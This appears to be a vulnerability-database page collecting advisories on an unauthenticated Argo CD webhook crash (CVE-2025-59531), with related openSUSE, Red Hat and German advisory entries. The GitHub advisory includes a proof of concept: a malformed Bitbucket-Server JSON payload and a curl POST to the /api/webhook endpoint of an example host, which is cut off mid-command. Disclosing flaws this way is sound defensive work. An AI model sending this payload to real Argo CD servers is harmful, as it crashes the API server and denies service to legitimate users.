Most recent entries from all

EUVD-2026-254018

fkie_cve-2025-59531

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. Without a configured webhook.bitbucketserver.secret, Argo CD's /api/webhook endpoint crashes when receiving a malformed Bitbucket Server payload (non-array repository.links.clone field). A single unauthenticated request triggers CrashLoopBackOff, and targeting all replicas causes complete API outage. This issue is fixed in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.

GHSA-f9gq-prrc-hrhc — Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload

Affected: Go: github.com/argoproj/argo-cd, Go: github.com/argoproj/argo-cd/v2, Go: github.com/argoproj/argo-cd/v3

### Summary

Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.

With the default configuration, no `webhook.bitbucketserver.secret` set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field `repository.links.clone` is anything other than an array.

A single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.

### Details ```go // webhook.go (Bitbucket-Server branch in affectedRevisionInfo)

for _, l := range payload.Repository.Links["clone"].([]any) { // <- unsafe cast link := l.(map[string]any) ... } ```

If links.clone is a string, number, object, or null, the first type assertion panics: interface conversion: interface {} is string, not []interface {}

The worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary.

### PoC

Save as payload-panic.json - note the non-array links.clone.

```json { "eventKey": "repo:refs_changed", "repository": { "name": "guestbook", "fullName": "APP/guestbook", "links": { "clone": "boom" } }, "changes": [ { "ref": { "id": "refs/heads/master" } } ] } ```

```shell curl -k -X POST https://argocd.example.com/api/webhook \ -H 'X-Event-Key: repo:refs_changed' \ -H 'Content-Type:…

openSUSE-SU-2025:15666-1 — govulncheck-vulndb-0.0.20251023T162509-1.1 on GA media

govulncheck-vulndb-0.0.20251023T162509-1.1 on GA media

RHSA-2025:17730 — Red Hat Security Advisory: Red Hat OpenShift GitOps v1.16.4 security update

crypto/x509: Usage of ExtKeyUsageAny disables policy validation in crypto/x509 database/sql: Postgres Scan Race Condition github.com/argoproj/argo-cd/v2: github.com/argoproj/argo-cd/v3: Argo CD race condition leading to crash argocd: argocd-server: gitops: Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload github.com/argoproj/argo-cd: Argo CD unauthenticated Denial of Service github.com/argoproj/argo-cd: Argo CD unauthenticated Remote Denial of Service

WID-SEC-W-2025-2251 — Red Hat OpenShift GitOps: Mehrere Schwachstellen

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat OpenShift GitOps ausnutzen, um Daten zu manipulieren, falsche Informationen darzustellen, oder einen Denial of Service zu verursachen.